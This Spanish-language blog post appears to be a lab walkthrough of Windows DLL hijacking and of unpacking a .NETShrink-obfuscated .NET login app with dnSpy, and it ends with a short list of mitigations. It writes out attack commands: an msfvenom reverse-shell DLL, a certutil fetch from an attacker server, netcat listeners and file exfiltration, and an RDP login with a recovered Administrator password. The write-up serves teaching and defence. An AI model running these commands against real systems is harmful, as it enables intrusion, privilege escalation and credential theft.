DLL Hijacking & Unpacking

Sustitución maliciosa de una biblioteca de enlace dinámico (DLL) legítima por una versión maliciosa para ejecutar código no autorizado en un programa y desempaquetado manual con Dnspy de .NETShrink

¡Saludos a tod@s!

Este post contendrá información sobre DLL Hijacking,la explotación y varias formas de mitigación, finalizando con el desempaquetado un login creado en .NET y ofuscado.

Todas las tareas realizadas en aplicaciones y sistemas de este artículo han sido realizadas en un laboratorio de pruebas.

DLL Hijacking

¿Qué es un DLL?

DLL (Biblioteca de enlaces dinámicos), es un archivo que contiene código y datos reutilizables que múltiples programas pueden usar al mismo tiempo para realizar diferentes funciones, mejorando la eficiencia y la modularidad en el desarrollo de software.

¿Como funciona el DLL Hijacking?

DLL hijacking, también conocido como DLL preloading o DLL side-loading, es una técnica de ataque en la que un atacante intenta explotar la forma en que un programa carga las bibliotecas de enlace dinámico (DLL).

Se utiliza para:

  • Reemplazar DLL

  • Secuestro del orden de búsqueda de DLL

  • Redirección de DLL

  • Reemplazo de DLL de WinSxS

Herramientas Necesarias

Explotación

Una vez se tiene acceso a un sistema windows se buscan diferentes maneras para poder escalar privilegios en este caso haremos un DLL Hijacking.

He creado una aplicación para poder hacer la demostración:

Usaremos Process Monitor una herramienta de sysinternals la cuál nos permite poder filtrar dentro de los datos que se capturan:

Utilizamos la función de Filter.

Hay que filtrar por “Path” “ends with” “.dll” para que nos muestre todos las aplicaciones que están buscando un dll o que le estén usando.

Para mayor eficacia el nombre de nuestra aplicación es “WinFormsApp1” por lo tanto también podemos filtrar por su nombre.

El tipo de resultado que buscamos es NAME NOT FOUND, vemos que nos aparecen varias, todas se podría usar pero en nuestro caso vamos a utilizar “hostfxr.dll”.

Con la siguiente sintaxis de msfvenom podemos crear un archivo dll malicioso para poder obtener un shell inverso y tener un acceso al sistema.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f dll > evil.dll

Una vez creado el .dll nos lo pasamos a la máquina victima, por ejemplo se podría usar certutil para poder pasarlo.

Máquina atacante: python3 -m http.server <PORT> 
Máquina víctima: certutil --urlcache -f http://<IP>:<PORT>/recurso

Teniendo el .dll malicioso en la máquina víctima lo tenemos que colocar en la ruta que el programa lo solicita, en este caso sería C:\Users\ivan\Desktop\app-dll\hostfxr.dll.

Nos ponemos a la escucha con netcat en nuestro entorno con el puerto definido con msfvenom.

nc -lvnp <port>

Cuando se ejecute el programa obtendremos un shell inverso:

Mitigación

Algunas maneras de poder remediar este ataque serían:

  • Especificar rutas completas: Especificar rutas completas de la ubicación de DLLs en lugar de depender de la búsqueda automática del sistema operativo.

  • Privilegios mínimos: Reducir los privilegios del usuario y del sistema.

  • Firma digital: Utilizar firmas digitales para poder verificar la autenticidad de las DLLs antes de cargarlas.

  • Listas blancas: Configurar listas blancas que especifique qué DLLs pueden ser cargadas en una aplicación.

Unpacking (.NETShrink)

En este caso tenemos acceso directamente al sistema víctima dado que es un laboratorio preparado con ese propósito, pero por ahora vamos a hacer como si no lo supieramos y hubieramos ganado acceso como un usuario normal, una vez dentro vemos que hay aplicación que almacena datos sensibles (Usuarios, contraseñas, etc.) y que está ofuscado con el packer .Netshrink.

Antes de comenzar me gustaría explicar un poco que es un packer y qué es lo que hace exactamente:

Los Packers o compresores tienen la función de disminuir el tamaño de los ficheros, pero a su vez también ofrecen una capa de protección del código para poder dificultar el análisis ya sea dinámico o estático.

Transferencia de archivos

Para poder pasarnos la aplicación a nuestro entorno hay varias formas, yo en mi caso utilizaré certutil para pasarme netcat a la máquina víctima. Una vez traspasado, se utilizará la siguiente sintaxis:

Máquina víctima: nc.exe -nv <IP_ATACANTE> <PORT> < SimpleLoginSystem.exe
Máquina atacante: nc -lvnp <PORT> > SimpleLoginSystem.exe

¿Qué hace .NETShrink?

  • Renombrar símbolos

  • Inserción de Instrucciones redundantes

  • Transformar el fluko de control

  • Elimina los metadatos

  • Manipular las constantes

Herramientas utilizadas

  • Dnspy

  • PEview

  • Detect it Easy / PEiD

Información sobre el ejecutable

Utilizando tanto Die (Detect it Easy) o PEiD no nos muestra de forma clara cuál es el packer que está comprimiendo la aplicación como se puede ver en la siguientes imágenes:

  • DIE

  • PEiD

Sin embargo, haciendo un análisis más complejo con PEview, esta herramienta nos permite ver los encabezados PE, esto nos puede resultar muy útil ya que las anteriores herramientas no nos han indicado si de verdad la aplicación está ofuscada.

Para llevar a cabo el proceso debemos mirar en IMAGE_SECTI0N_HEADER la distancia que hay entre el tamaño virtual (Virtual Size) y el tamaño de los datos sin procesar (Size of Raw Data).

Con una pequeña cuenta obtenemos la distancia que hay entre ambos.

VirtualSizeSizeOfRawData=0x68B40x6A00=0X14CVirtual Size - Size Of Raw Data = 0x68B4 - 0x6A00 = -0X14C

La diferencia númerica es -0x14C , esta diferencia negativa indica que el “Virtual Size” es menor que el “Size of Raw Data”. En términos decimales, la diferencia sería de -332 Bytes. La diferencia negativa sugiere que la sección puede estar empaquetada, ya que el tamaño virtual (cuando se carga en la memoria) es menor que el tamaño real de los datos en el archivo.

Habiendo analizado la aplicación, procedemos a usar Dnspy para poder depurar la aplicación y obtenerla totalmente limpia.

Análisis

Al cargar la aplicación en Dnspy si nos fijamos en la siguiente imagen, podemos ver el punto de entrada, pinchamos.

Buscamos Assembly.load.

¿Por qué buscamos esa variable?

Se declara esa variable, porque el método está cargando dinámicamente una assembly en tiempo de ejecucción, está intentando acceder a un array que en la posición 0, llama a (’\u0005’) que a su vez tiene un carácter en la posición 3 (’\u0003’) y un espacio en la posición 2 (’\u0002’) que es donde va a estar situado el ejecutable real.

Depuración

Ponemos un punto de interrupción e iniciamos la aplicación.

Pasamos por encima con F11 hasta llegar a return array;(nos devolverá el array que es donde va a estar el ejecutable real).

Abajo nos aparece el array, clic derecho y guardamos.

Datos obtenidos

Una vez que hemos desempaquetado la aplicación procedemos a ver que contiene, en este caso parece ser un login que contiene una contraseña y un usuario y a su vez las credenciales de usuarios del sistema.

Acceso al sistema como Administrador

Comprobamos con nmap que la máquina victima tiene abierto el puerto RDP para poder acceder con la utilidad xfreerdp.

  • Escaneo con nmap:

nmap -Pn -n 10.0.3.39
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-12 18:44 CET
Nmap scan report for 10.0.3.39
Host is up (0.0016s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server # RDP

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
  • Acceso con xfreerdp:

xfreerdp /u:Administrator /p:'administrador129' /cert:ignore /v:10.0.3.39

Última actualización